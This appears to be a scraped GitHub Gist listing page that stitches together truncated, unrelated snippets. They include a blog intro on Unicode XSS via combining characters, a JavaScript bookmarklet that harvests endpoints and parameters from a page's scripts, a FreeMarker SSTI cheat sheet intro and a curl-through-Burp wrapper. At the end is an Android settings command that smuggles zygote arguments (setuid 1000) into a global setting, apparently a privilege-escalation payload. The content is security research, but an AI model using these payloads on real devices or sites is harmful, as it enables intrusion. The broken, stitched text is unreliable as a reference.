Skip to content

Instantly share code, notes, and snippets.

@paj28
paj28 / index.md
Last active November 18, 2025 02:49

Unicode XSS via Combining Characters

Most application security practitioners are familiar with Unicode XSS, which typically arises from the Unicode character fullwidth-less-than-sign. It’s not a common vulnerability but does occasionally appear in applications that otherwise have good XSS protection. In this blog I describe another variant of Unicode XSS that I have identified, using combining characters. I’ve not observed this in the wild, so it’s primarily of theoretical concern. But the scenario is not entirely implausible and I’ve not otherwise seen this technique discussed, so I hope this is useful.

Recap of Unicode XSS

Lab: https://4t64ubva.xssy.uk/

A quick investigation of the lab shows that it is echoing the name parameter, and performing HTML escaping:

javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\%27|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\%60))/g,jsRegex=/(?<=(\"|\'|\%60))(?:\/|https?:\/\/)[a-zA-Z0-9_?&=\/\-\#\.]+\.js(?:\?[^"'%60]*)?(?=(\"|\'|\%60))/g;const results=new Set;const paramMap=new Map();const jsFiles=new Set();function processContent(t,src){var e=t.matchAll(regex);for(let r of e){results.add(r[0]);var params=r[0].split('?')[1];if(params){params.split('&').forEach(param=>{var [key,]=param.split('=');if(key){if(!paramMap.has(key)){paramMap.set(key,[]);}paramMap.get(key).push(src||'Inline script or HTML');}});}}var j=t.matchAll(jsRegex);for(let r of j){jsFiles.add(r[0]);}}for(var i=0;i<scripts.length;i++){var t=scripts[i].src;if(t){jsFiles.add(t);fetch(t).then(function(t){return t.text()}).then(text=>processContent(text,t)).catch(function(t){console.log("An error occurred: ",t)});}else{processContent(scripts[i].textContent);}}var pageContent=document.documentElement.outerHTML;processContent(pageContent
@n1nj4sec
n1nj4sec / FreeMarker_SSTI_tricks.md
Created December 18, 2024 20:10
FreeMarker SSTI tricks

What is this cheat sheet ?

I recently stumbled on a blind SSTI injection on a bug bounty program (no output nor stack trace, only 500 status code on invalid syntax)

The version was up to date and it was not possible to RCE because the conf was following best practices and there is no public sandbox bypass on the latest version. So was it possible to do stuff anyway ? Yes I found some nice gadgets to enumerate all accessible variables from the engine, read data blindly or perform some DoS.

This is not meant to be complete, you will find classic payloads for freemarker on other cheat sheets this is only the new stuff from my research which is not public anywhere else

get versions

@ngregoire
ngregoire / burl
Created December 31, 2024 15:18
A simple wrapper that routes curl traffic through Burp Suite
#/usr/bin/env sh
curl --proxy http://127.0.0.1:8080/ --user-agent burl --insecure "$@"
am force-stop com.android.settings
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
15
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=2049
--mount-external-full
--target-sdk-version=29
--setgroups=3003